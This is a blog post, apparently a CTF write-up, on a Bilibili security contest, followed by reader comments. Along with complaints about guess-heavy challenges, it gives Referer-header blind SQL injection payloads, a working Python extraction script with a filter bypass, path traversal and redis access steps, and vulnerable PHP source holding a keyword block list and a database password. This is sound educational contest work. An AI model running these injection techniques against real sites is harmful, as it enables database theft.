朋友发来一个 Bilibili CTF 的链接,点进去看了下。开赛已经几小时,进入比赛的按钮指向的是一个 10.
开头的内网IP地址。试着把这个IP换成当前页面的地址,成功进入了题目页面。又过了一阵子,这个进入比赛的链接终于被改成正确的地址了——我想,这应该只是个小失误吧。作为国内最大(去二次元化)二次元视频网站的哔哩哔哩,其举办的安全竞赛不说专业,但应该也会挺有意思的吧。

确实挺有意思的,不过有意思的并不是题目本身。
Write up 吐槽时间
题 1-6 必须解出前一题才能看见下一题题目。
题 1: <input type="hidden" values="{flag}">
题 2:“需要使用bilibili Security Browser浏览器访问~” → 修改 User-Agent。
题 3:“密码是啥?” → 盲猜出用户名/密码 admin/bilibili。
B:没错这不是注入,你们字典里没有 bilibili 是你们的问题!

题 4:“superadmin.html: 对不起,权限不足~” → Cookies 中有 role=md5(‘user’)(首字母小写),盲猜出 role=md5(‘Administrator’) 提交。
B:root 是什么?superadmin 是什么?超级管理员是 Administrator(首字母大写)哟~ ✧
题 5:“有些秘密只有超级管理员才能看见哦”,同时源码中 uid=100336889 → 从 100336889 递增爆破出超级管理员 uid。
B:9bishi 已经不是超级管理员了,我家超级管理员是一个 uid 非常大的员工,别问为什么~
接下来只有题 6 给出了一个 URL,7-10 均未给出题目。
题 6:一个文章标题内容均为 “null”,带评论框的博客页面(single.php?id=1)
→ 在 Referer 中进行盲注。
B:是的,评论框是装饰用的,?id=1
也是装饰用的~
我们的鉴权是用 Referer 做的,Referer 正确就能看到文章内容,是不是很符合实际?
对了,为了防止你们乱搞我把 MySQL 的 sleep 函数顺手禁了!
benchmark 函数是啥?没听说过!等下… 靶机怎么又 502 了?
题7:在前几题发现一个 /api/images?file=banner.png,没错,接着猜路径。

题 8:扫描题 6 给出的 IP,发现 redis 端口,连入 get flag8
。
题 9:题目位于 /api/images?file=../../../secret.txt,48 字节的未知数据,赛中无人解出本题。
赛后有人给出密钥为 ‘aes_key’ + ‘\0’ * 9,使用 AES-128-ECB 加密,该密钥据说可通过 api/images?file=md5(‘SkRG…Rw==’).jpg 获得。

data = 'SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==' aes_128_ecb_decrypt(base64_decode(base64_decode(data)), 'aes_key\0\0\0\0\0\0\0\0\0') // flag9-8b522546-e52d83b8-5682e05c-c8cb237c
题 10:
1. 扫描题 6 给出的 URL,发现一个包含 jsfuck 代码的页面 test.php
。
2. 解码获得关键词,并提示访问 github 搜索。
3. 在 github 找到源码后用 ?id[]=1 绕过 PHP 判断
4. 猜出 flag 位于 [这里填入一个任意字符]flag.txt
(实质是 strpos($url, 'flag.txt') != false
就给过)
B:你说 strpos 返回值需要用 !== 运算符来判断?不,我就是要用 != ~


好了,吐槽部分结束,作为比较菜的 ctf 玩家,第 6 题作为一道盲注还是有些东西可以写。第 7 题和第 9 题题目在比赛临近结束大佬提示后才找到题目位置,没想到依然是猜路径。
第 6 题:Boolean based Blind SQL Injection

第 6 题是一个 SELECT 的 SQL 语句(一开始以为是 INSERT 之类的),注入点位于 HTTP_REFERER。如果有结果则显示文章,无结果显示空文章,本应是一个基于布尔值的盲注(Boolean based Blind SQL Injection)。
$payload_sql = "SELECT * FROM bilictf.refer where refer='{filter($_SERVER['HTTP_REFERER'])}';";
filter 函数过滤了一些关键词,同时 MySQL 禁用了 Sleep 函数(后来又允许使用了),但 Benchmark 函数未禁用(这可能也是本题靶机频繁宕机的原因之一)。使用 sqlmap 及合适的 level / risk 参数(以及在没有人跑 sqlmap 的靶机不会宕机的深夜)可以跑出一个基于时间的盲注(Time based Blind SQL Injection)。
如果用 Benchmark 函数做,Payload 如下:
SELECT ... WHERE refer='' + IF(ascii(SUBSTRING(database(),1,1))>32,BENCHMARK(5000000,MD5(1)),0)
解出题目后发现其实是基于布尔值的盲注(通过文章显示与否判断),预期解如下:
SELECT ... WHERE refer='' or IF(ascii(SUBSTRING(database(),1,1))>32,1,0)
脚本如下:
import requests url = "http://.../blog/single.php?id=1" result = "" ascii_list = range(1, 128) strpos = len(result) while(True): strpos += 1 arr = ascii_list start = 0 end = len(arr) while(start < end): # time.sleep(0.2) mid = (start + end)//2 # sql = "(SELECT database())" # bilictf sql = "(SELECT`flag`FROM`flag`)" payload = "' or IF(ascii(SUBSTRING(%s,%s,1))>%s,1,0)-- a" % (sql, strpos, arr[mid]) # 绕过过滤 payload = payload.replace("SELECT", "SEL&ECT") payload = payload.replace("or", "o&r") data = {'name': 'name'} headers = {'Referer': payload, 'User-Agent': 'Mozilla/5.0'} response = requests.post(url, data=data, headers=headers) response.encoding = 'utf-8' page_byte = response.headers['Content-Length'] if int(page_byte) > 1487: if end - start == 1: if end < 127: now_word = chr(arr[end]) else: now_word = '?' # 中文 result += now_word break else: start = mid else: end = mid now_word = "" if now_word == "": break print(result) print('result:', result)

总结

回顾整场比赛,除了坑还是坑。前端代码残留了很多无助于解题的代码及注释。解题基本靠猜的情况导致了赛中提示就在网上漫天飞(说实话,如果没有这些提示,很多题我也猜不出)。现在看来,开赛初的那个小插曲只是这比赛各种坑点的冰山一角…
不过,围观各路神仙在最后一题 github repo 中的吐槽倒是成为了这次比赛的乐趣。有把 ETag 当成 flag(假装)认真提出思路的,有用神奇的手法分析比赛中各种图片、挖出各种“证据”的,有练习给总部写英语作文索要 flag 的,还有galgame汉化组发招人广告的。天知道出题者不关 issue 是失误还是有意为之。
另外,Hackergame 2020 几天后也要开始了。同样是偏趣味性的竞赛,但题目质量就很不错(至少前两年是如此),也能学到很多新东西,在此推荐给大家。
附录附上了一些题目的源码,留作参考。
Coxxs
P.S. single.php 中的逻辑部分:
<?php function filter($str) { $str = str_replace( '/', "", $str); $str = str_replace( '"', "", $str); $str = str_replace( '%', "", $str); $str = str_ireplace('and', "",$str); $str = str_ireplace('or',"",$str); $str = str_replace('&&'," ",$str); $str = str_replace('||'," ",$str); $str = str_replace( ';', "", $str); $str = str_ireplace( 'eval', " ", $str); $str = str_ireplace( 'open', " ", $str); $str = str_ireplace( 'sysopen', " ", $str); $str = str_ireplace( 'system', " ", $str); $str = str_ireplace("select","",$str); $str = str_ireplace("join","",$str); $str = str_ireplace("union","",$str); $str = str_ireplace("where","",$str); $str = str_ireplace("insert","",$str); $str = str_ireplace("delete"," ",$str); $str = str_ireplace("update"," ",$str); $str = str_ireplace("like","",$str); $str = str_ireplace("drop"," ",$str); $str = str_ireplace("DROP"," ",$str); $str = str_replace("&","",$str); return $str; } $servername = "localhost"; $username = "root"; $password = "2f7780c88a1301d04050b16e686dcea2"; $conn = mysqli_connect($servername, $username, $password); mysqli_select_db($conn,"bilictf"); if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } $aid =$_GET['id']; $refer = $_SERVER["HTTP_REFERER"]; if (!isset($aid)) { return; } if (!isset($refer)) { $refer = "https://www.bilibili.com/"; } $aid = filter($aid); $refer = filter($refer); $sql = "SELECT * FROM bilictf.article where article_id=1;"; $payload_sql = "SELECT * FROM bilictf.refer where refer='$refer';"; //echo $payload_sql; $result_payload = mysqli_query($conn, $payload_sql); if (mysqli_num_rows($result_payload) > 0) { //echo $sql; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { while($row = mysqli_fetch_assoc($result)) { $title = $row["title"]; $content = $row["content"]; $creator = $row["creator"]; $time = $row["time"]; } } else { echo "0"; } } else { $title = "null"; $content = "null"; $creator = "null"; $time = "null"; } ?>
P.P.S. 第 10 题的 end.php 实际源码:
<?php $str = intval($_GET['id']); $reg = preg_match('/\d/is', $_GET['id']); if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){ $content = file_get_contents($_GET['url']); //echo $content; $filename = "./imgs/bilibili_224a634752448def6c0ec064e49fe797_havefun".".jpg"; if (strpos($_GET['url'],"flag.txt") == false){ echo "还差一点点啦~"; }else{ //file_put_contents($filename,$content); echo "<img src=".$filename.">"; } }else{ echo "你想要的不在这儿~"; } ?>
我来了()
爱了,愿明年阿B能有质量高的题目吧,题目引导出大问题,误导性的东西太多了,气死
当然首先祝贺 BiliBili 第一届撞字典撞地址比脑洞大赛完满落幕 ?
虽然有些迷,不过也有不少受到启发咯
只有第六题我承认是我菜,这个str_replace是真的想不出来,当初跑出盲注的时候还以为是网络波动(:з)∠)。。。其他题,哇的一声哭出来
sqlmap 给结果之后其实可以手动验证下的,其他题我也无语了… 毕竟b站
Bilibili猜谜大赛。。。真的打扰了。。。
请问博主您的博客主题是自己写的嘛?感觉很漂亮!不知道有没有开源或者放到wp主题商店